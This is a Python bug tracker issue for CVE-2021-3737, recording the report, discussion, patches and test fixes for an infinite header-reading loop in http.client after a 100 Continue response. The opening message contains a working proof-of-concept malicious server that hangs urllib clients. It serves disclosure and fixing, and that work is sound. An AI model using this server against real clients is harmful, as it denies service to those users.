classification

Title: CVE-2021-3737: urllib http client possible infinite loop on a 100 Continue response	
Type: security	**Stage**: resolved
Components: Library (Lib)	**Versions**: Python 3.10, Python 3.9, Python 3.8, Python 3.7, Python 3.6

process

Status: closed	**Resolution**: fixed
Dependencies:	**Superseder**:
Assigned To: gregory.p.smith	**Nosy List**: christian.heimes, gen-xu, gregory.p.smith, leveryd, lukasz.langa, mcepl, mgorny, miss-islington, ned.deily, sir-sigurd, vstinner
Priority: normal	**Keywords**: patch

Created on **2021-05-03 17:13** by **leveryd**, last changed **2022-04-11 14:59** by **admin**. This issue is now **closed**.

Pull Requests

URL	Status	Linked	Edit
PR 25916	merged	gen-xu, 2021-05-05 11:13	
PR 25931	merged	miss-islington, 2021-05-05 22:42	
PR 25932	merged	miss-islington, 2021-05-05 22:42	
PR 25933	merged	miss-islington, 2021-05-05 22:42	
PR 25934	merged	miss-islington, 2021-05-05 22:43	
PR 25935	merged	miss-islington, 2021-05-05 22:43	
PR 26503	merged	gregory.p.smith, 2021-06-03 03:13	
PR 26504	merged	miss-islington, 2021-06-03 03:43	
PR 26505	merged	miss-islington, 2021-06-03 03:43	
PR 26506	merged	miss-islington, 2021-06-03 03:43	
PR 26507	merged	miss-islington, 2021-06-03 03:44	
PR 26508	merged	miss-islington, 2021-06-03 03:44	
PR 27033	merged	sir-sigurd, 2021-07-05 13:58	

Messages (29)

msg392825 - (view) **Author: guangli dong (leveryd)** **Date: 2021-05-03 17:13**

if a client request a http/https/ftp service which is controlled by attacker, attacker can make this client hang forever, event client has set "timeout" argument.

maybe this client also will consume more and more memory. i does not test on this conclusion.

client.py

```
import urllib.request

req = urllib.request.Request('http://127.0.0.1:8085')
response = urllib.request.urlopen(req, timeout=1)
```

evil_server.py

```
# coding:utf-8
from socket import *
from multiprocessing import *
from time import sleep

def dealWithClient(newSocket,destAddr):
    recvData = newSocket.recv(1024)
    newSocket.send(b"""HTTP/1.1 100 OK\n""")

    while True:
        # recvData = newSocket.recv(1024)
        newSocket.send(b"""x:a\n""")

        if len(recvData)>0:
            # print('recv[%s]:%s'%(str(destAddr), recvData))
            pass
        else:
            print('[%s]close'%str(destAddr))
            sleep(10)
            print('over')
            break

    # newSocket.close()
```

```
def main():

    serSocket = socket(AF_INET, SOCK_STREAM)
    serSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR  , 1)
    localAddr = ('', 8085)
    serSocket.bind(localAddr)
    serSocket.listen(5)

    try:
        while True:
            newSocket,destAddr = serSocket.accept()

            client = Process(target=dealWithClient, args=(newSocket,destAddr))
            client.start()

            newSocket.close()
    finally:
        serSocket.close()

if __name__ == '__main__':
    main()
```

msg393004 - (view) **Author: Gen Xu (gen-xu) *** **Date: 2021-05-05 11:15**

Added a possible PR. Review will be appreicated.

msg393005 - (view) **Author: Gen Xu (gen-xu) *** **Date: 2021-05-05 11:30**

Looks like it is caused by the httplib not limiting total header size after receiving 100. Added a counter for that to be same size as _MAXLINE=65536.

msg393037 - (view) **Author: Gregory P. Smith (gregory.p.smith) *** **Date: 2021-05-05 20:12**

The bug: Our http client can get stuck infinitely reading len(line) < 64k lines after receiving a '100 Continue' http response. So yes, this could lead to our client being a bandwidth sink for anyone in control of a server.

Clear issue: That's a denial of network bandwidth and the denial of service in terms of CPU needed to process read and skip such lines. The infinite lines are size bounded and are not buffered so there is no memory based DoS.

Maybe issue: If a the underlying socket has a timeout set on it, it can be used to prevent the timeout from triggering by sending a line more often than the timeout. this is a denial of service by making a http client connection that an author may have assumed would timeout based on their socket.setdefaulttimeout() settings hang forever.

I expect there are plenty of other ways to accomplish the latter in our http client code though. Ex: A regular response with a huge content length where one byte is transmitted occasionally could also effectively accomplish that. The stdlib http stack doesn't have its own overall http transaction timeout as a feature.

msg393048 - (view) **Author: Gregory P. Smith (gregory.p.smith) *** **Date: 2021-05-05 22:50**

Thanks guangli dong (leveryd)!

This is in and the 3.10-3.6 PRs should automerge (thru 3.9) after the CI runs, or be merged by the release managers (3.6-3.8).

msg393050 - (view) **Author: miss-islington (miss-islington)** **Date: 2021-05-05 23:06**

New changeset **ea9327036680acc92d9f89eaf6f6a54d2f8d78d9** by Miss Islington (bot) in branch '3.9':
~~**bpo-44022**~~: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (~~**GH-25916**~~)
https://github.com/python/cpython/commit/ea9327036680acc92d9f89eaf6f6a54d2f8d78d9

msg393051 - (view) **Author: Gregory P. Smith (gregory.p.smith) *** **Date: 2021-05-05 23:14**

New changeset **60ba0b68470a584103e28958d91e93a6db37ec92** by Miss Islington (bot) in branch '3.10':
~~**bpo-44022**~~: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (~~**GH-25916**~~) (~~**GH-25931**~~)
https://github.com/python/cpython/commit/60ba0b68470a584103e28958d91e93a6db37ec92

msg393073 - (view) **Author: guangli dong (leveryd)** **Date: 2021-05-06 08:28**

can you assign "cve" for this security bug?

i will review the patch later.

msg393074 - (view) **Author: Christian Heimes (christian.heimes) *** **Date: 2021-05-06 08:37**

http.server is out of scope for CVEs. The module is not designed for security-sensitive usage and explicitly documented as insecure and not suitable for production use:

https://docs.python.org/3/library/http.server.html#module-http.server

> Warning: http.server is not recommended for production. It only implements basic security checks.

msg393076 - (view) **Author: Łukasz Langa (lukasz.langa) *** **Date: 2021-05-06 08:52**

New changeset **f396864ddfe914531b5856d7bf852808ebfc01ae** by Miss Islington (bot) in branch '3.8':
~~**bpo-44022**~~: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (~~**GH-25916**~~) (**#25933**)
https://github.com/python/cpython/commit/f396864ddfe914531b5856d7bf852808ebfc01ae

msg393079 - (view) **Author: guangli dong (leveryd)** **Date: 2021-05-06 10:09**

@Christian Heimes

this bug is about "urllib" client library, the key point is not "http.server" module.

msg393110 - (view) **Author: Ned Deily (ned.deily) *** **Date: 2021-05-06 17:05**

New changeset **f68d2d69f1da56c2aea1293ecf93ab69a6010ad7** by Miss Islington (bot) in branch '3.6':
~~**bpo-44022**~~: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (~~**GH-25916**~~) (~~**GH-25935**~~)
https://github.com/python/cpython/commit/f68d2d69f1da56c2aea1293ecf93ab69a6010ad7

msg393113 - (view) **Author: Ned Deily (ned.deily) *** **Date: 2021-05-06 17:10**

New changeset **078b146f062d212919d0ba25e34e658a8234aa63** by Miss Islington (bot) in branch '3.7':
~~**bpo-44022**~~: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (~~**GH-25916**~~) (~~**GH-25934**~~)
https://github.com/python/cpython/commit/078b146f062d212919d0ba25e34e658a8234aa63

msg393137 - (view) **Author: Gregory P. Smith (gregory.p.smith) *** **Date: 2021-05-06 19:27**

If anyone wants a CVE for it, that's up to them. This bug is in the CPython http.client module which is what urllib uses for http/https. I'd rate it low severity. A malicious server can hold a http connection from this library open as a network traffic sink. There are other ways to do that. ex: Just use omit a content-length header in a server response and start streaming an infinite response.

The difference in this case being that since the data is thrown away, it isn't going to result in memory exhaustion and kill the unfortunate process as trying to read an infinite response would. That's the primary DoS potential from my point of view.

msg393194 - (view) **Author: guangli dong (leveryd)** **Date: 2021-05-07 17:04**

@Gregory P. Smith

yes, i agree that there are many other ways to make "urllib" or "httplib" such http client hang, because "timeout" is not global read timeout, this "timeout" has effects when every "read socket" operation.

why you think it will not result in memory exhaustion?

the "hlist" list will not be more and more larger? i use "top" command to observe, and find the "client.py" process's memory is more and more larger slowly.

```
httplib.py

while True:
    ...
    line = self.fp.readline(_MAXLINE + 1)
    ...
    hlist.append(line)
```

the last, would you mind remove "100 Continue" in this bug title? i think it will maybe make others misunderstand that this bug only occur when response status code is "100".

msg393195 - (view) **Author: Gregory P. Smith (gregory.p.smith) *** **Date: 2021-05-07 17:39**

httplib.py is a Python 2 concept. Python 2 is end of life. bugs.python.org no longer tracks issues with its code. I don't doubt that Python 2.7 has bugs. As a matter of policy, we don't care - **https://www.python.org/doc/sunset-python-2/**. Python 3.6 as that is the oldest branch still open for security fixes.

The PRs associated with this issue fixed a codepath in Python 3 that only happened after a '100' response. That codepath did not accumulate headers:

```
            if status != CONTINUE:
                break
            # skip the header from the 100 response
            while True:
                skip = self.fp.readline(_MAXLINE + 1)
                if len(skip) > _MAXLINE:
                    raise LineTooLong("header line")
                skip = skip.strip()
                if not skip:
                    break
```

CONTINUE = 100; meaning that loop only runs after receiving what appears to be a 100 continue response. And it does not accumulate data.

There is no `hlist` in the original pre-fix Python 3.6+ code. Nor any header accumulation caused by this the client.py talking to evil_server.py as described in this issues opening message.

msg394898 - (view) **Author: Michał Górny (mgorny) *** **Date: 2021-06-02 08:52**

The test added for this bug is insufficient to verify the fix. If I revert the **Lib/http/client.py** change, the test still passes. This is because a subclass of client.HTTPException is still raised.

If I add an explicit begin() call to trigger the exception, then without the fix I get:

```
  File "/tmp/cpython/Lib/test/test_httplib.py", line 1189, in test_overflowing_header_limit_after_100
    resp.begin()
  File "/tmp/cpython/Lib/http/client.py", line 308, in begin
    version, status, reason = self._read_status()
  File "/tmp/cpython/Lib/http/client.py", line 277, in _read_status
    raise RemoteDisconnected("Remote end closed connection without"
http.client.RemoteDisconnected: Remote end closed connection without response
```

With the fix, I get (correctly):

```
test test_httplib failed -- Traceback (most recent call last):
  File "/tmp/cpython/Lib/test/test_httplib.py", line 1189, in test_overflowing_header_limit_after_100
    resp.begin()
```

```
  File "/tmp/cpython/Lib/http/client.py", line 321, in begin
    skipped_headers = _read_headers(self.fp)
  File "/tmp/cpython/Lib/http/client.py", line 218, in _read_headers
    raise HTTPException("got more than %d headers" % _MAXHEADERS)
http.client.HTTPException: got more than 100 headers


However, the test considers both exceptions to match.
```

msg394976 - (view) Author: Gregory P. Smith (gregory.p.smith) * Date: 2021-06-03 03:16

```
Great catch!  The new PR should address that.
```

msg394978 - (view) Author: Gregory P. Smith (gregory.p.smith) * Date: 2021-06-03 03:43

```
New changeset e60ab843cbb016fb6ff8b4f418641ac05a9b2fcc by Gregory P. Smith in branch 'main':
bpo-44022: Improve the regression test. (GH-26503)
https://github.com/python/cpython/commit/e60ab843cbb016fb6ff8b4f418641ac05a9b2fcc
```

msg394980 - (view) Author: miss-islington (miss-islington) Date: 2021-06-03 04:04

```
New changeset 98e5a7975d99b58d511f171816ecdfb13d5cca18 by Miss Islington (bot) in branch '3.10':
bpo-44022: Improve the regression test. (GH-26503)
https://github.com/python/cpython/commit/98e5a7975d99b58d511f171816ecdfb13d5cca18
```

msg394982 - (view) Author: miss-islington (miss-islington) Date: 2021-06-03 04:10

```
New changeset 5df4abd6b033a5f1e48945c6988b45e35e76f647 by Miss Islington (bot) in branch '3.9':
bpo-44022: Improve the regression test. (GH-26503)
https://github.com/python/cpython/commit/5df4abd6b033a5f1e48945c6988b45e35e76f647
```

msg394985 - (view) Author: Ned Deily (ned.deily) * Date: 2021-06-03 04:23

```
New changeset fee96422e6f0056561cf74fef2012cc066c9db86 by Miss Islington (bot) in branch '3.7':
bpo-44022: Improve the regression test. (GH-26503) (GH-26507)
https://github.com/python/cpython/commit/fee96422e6f0056561cf74fef2012cc066c9db86
```

msg394986 - (view) Author: Ned Deily (ned.deily) * Date: 2021-06-03 04:38

```
New changeset 1b6f4e5e13ebd1f957b47f7415b53d0869bdbac6 by Miss Islington (bot) in branch '3.6':
bpo-44022: Improve the regression test. (GH-26503) (GH-26508)
https://github.com/python/cpython/commit/1b6f4e5e13ebd1f957b47f7415b53d0869bdbac6
```

msg396993 - (view) Author: miss-islington (miss-islington) Date: 2021-07-05 14:44

```
New changeset 7ac7a0c0f03c60934bc924ee144db170a0e0161f by Sergey Fedoseev in branch 'main':
bpo-44022: Fix Sphinx role in NEWS entry (GH-27033)
https://github.com/python/cpython/commit/7ac7a0c0f03c60934bc924ee144db170a0e0161f
```

msg397322 - (view) Author: Łukasz Langa (lukasz.langa) * Date: 2021-07-12 15:09

```
New changeset 0389426fa4af4dfc8b1d7f3f291932d928392d8b by Miss Islington (bot) in branch '3.8':
bpo-44022: Improve the regression test. (GH-26503) (#26506)
https://github.com/python/cpython/commit/0389426fa4af4dfc8b1d7f3f291932d928392d8b
```

msg399275 - (view) Author: Matej Cepl (mcepl) * Date: 2021-08-09 16:28

```
Is there a CVE for this?
```

msg401819 - (view) Author: STINNER Victor (vstinner) * Date: 2021-09-15 09:37

```
Matej Cepl: "Is there a CVE for this?"

Yes, CVE-2021-3737 was assigned to this issue.

* https://access.redhat.com/security/cve/CVE-2021-3737
* https://bugzilla.redhat.com/show_bug.cgi?id=1995162
```

msg401820 - (view) Author: STINNER Victor (vstinner) * Date: 2021-09-15 09:46

```
I created https://python-security.readthedocs.io/vuln/urllib-100-continue-loop.html to track the issue.
```

msg401821 - (view) Author: STINNER Victor (vstinner) * Date: 2021-09-15 09:49

```
I'm not sure why the fix in the main branch was not listed here:

commit 47895e31b6f626bc6ce47d175fe9d43c1098909d
Author: Gen Xu <xgbarry@gmail.com>
Date:   Wed May 5 15:42:41 2021 -0700

    bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916)

    Fixes http.client potential denial of service where it could get stuck reading lines from a malicious server after a 100 Continue
response.

    Co-authored-by: Gregory P. Smith <greg@krypto.org>
```

History

Date	User	Action	Args
2022-04-11 14:59:45	admin	set	github: 88188
2021-09-15 09:49:12	vstinner	set	messages: + msg401821
2021-09-15 09:46:36	vstinner	set	messages: + msg401820

2021-09-15 09:37:23	vstinner	set	nosy: + **vstinner** messages: + **msg401819** title: urllib http client possible infinite loop on a 100 Continue response -> CVE-2021-3737: urllib http client possible infinite loop on a 100 Continue response
2021-08-09 16:28:56	mcepl	set	nosy: + **mcepl** messages: + **msg399275**
2021-07-12 15:09:05	lukasz.langa	set	messages: + **msg397322**
2021-07-05 14:44:13	miss-islington	set	messages: + **msg396993**
2021-07-05 13:58:02	sir-sigurd	set	nosy: + **sir-sigurd** pull_requests: + **pull_request25593**
2021-06-03 04:38:38	ned.deily	set	messages: + **msg394986**
2021-06-03 04:23:48	ned.deily	set	messages: + **msg394985**
2021-06-03 04:10:30	miss-islington	set	messages: + **msg394982**
2021-06-03 04:04:28	miss-islington	set	messages: + **msg394980**
2021-06-03 03:44:11	miss-islington	set	pull_requests: + **pull_request25104**
2021-06-03 03:44:05	miss-islington	set	pull_requests: + **pull_request25103**
2021-06-03 03:43:59	miss-islington	set	pull_requests: + **pull_request25102**
2021-06-03 03:43:52	miss-islington	set	pull_requests: + **pull_request25101**
2021-06-03 03:43:48	gregory.p.smith	set	messages: + **msg394978**
2021-06-03 03:43:47	miss-islington	set	pull_requests: + **pull_request25100**
2021-06-03 03:16:16	gregory.p.smith	set	messages: + **msg394976**
2021-06-03 03:13:20	gregory.p.smith	set	pull_requests: + **pull_request25099**
2021-06-02 08:52:06	mgorny	set	nosy: + **mgorny** messages: + **msg394898**
2021-05-08 12:33:20	lukasz.langa	set	messages: - **msg393236**
2021-05-08 04:39:16	leveryd	set	messages: + **msg393236**
2021-05-07 17:39:21	gregory.p.smith	set	messages: + **msg393195**
2021-05-07 17:04:05	leveryd	set	messages: + **msg393194**
2021-05-06 19:40:31	ned.deily	set	versions: + Python 3.8, Python 3.9, Python 3.10
2021-05-06 19:27:01	gregory.p.smith	set	messages: + **msg393137**
2021-05-06 17:10:49	ned.deily	set	stage: commit review -> resolved versions: + Python 3.6, Python 3.7, - Python 3.8, Python 3.9, Python 3.10, Python 3.11
2021-05-06 17:10:21	ned.deily	set	messages: + **msg393113**
2021-05-06 17:05:53	ned.deily	set	nosy: + **ned.deily** messages: + **msg393110**
2021-05-06 10:09:33	leveryd	set	messages: + **msg393079**
2021-05-06 08:52:42	lukasz.langa	set	versions: + Python 3.8
2021-05-06 08:52:35	lukasz.langa	set	nosy: + **lukasz.langa** messages: + **msg393076**
2021-05-06 08:37:25	christian.heimes	set	nosy: + **christian.heimes** messages: + **msg393074**
2021-05-06 08:28:00	leveryd	set	messages: + **msg393073**
2021-05-05 23:14:36	gregory.p.smith	set	messages: + **msg393051**
2021-05-05 23:06:00	miss-islington	set	messages: + **msg393050**
2021-05-05 22:50:44	gregory.p.smith	set	status: open -> closed resolution: fixed messages: + **msg393048** stage: patch review -> commit review
2021-05-05 22:43:11	miss-islington	set	pull_requests: + **pull_request24602**
2021-05-05 22:43:05	miss-islington	set	pull_requests: + **pull_request24601**
2021-05-05 22:42:59	miss-islington	set	pull_requests: + **pull_request24600**
2021-05-05 22:42:54	miss-islington	set	pull_requests: + **pull_request24599**
2021-05-05 22:42:49	miss-islington	set	nosy: + **miss-islington** pull_requests: + **pull_request24598**
2021-05-05 20:12:08	gregory.p.smith	set	messages: + **msg393037**
2021-05-05 20:03:09	gregory.p.smith	set	assignee: **gregory.p.smith** title: "urllib" will result to deny of service -> urllib http client possible infinite loop on a 100 Continue response nosy: + **gregory.p.smith** versions: + Python 3.9, Python 3.10, Python 3.11
2021-05-05 11:30:46	gen-xu	set	messages: + **msg393005** versions: - Python 3.7
2021-05-05 11:15:17	gen-xu	set	messages: + **msg393004**
2021-05-05 11:13:12	gen-xu	set	keywords: + **patch** nosy: + **gen-xu** pull_requests: + **pull_request24585** stage: patch review
2021-05-03 17:13:03	leveryd	create	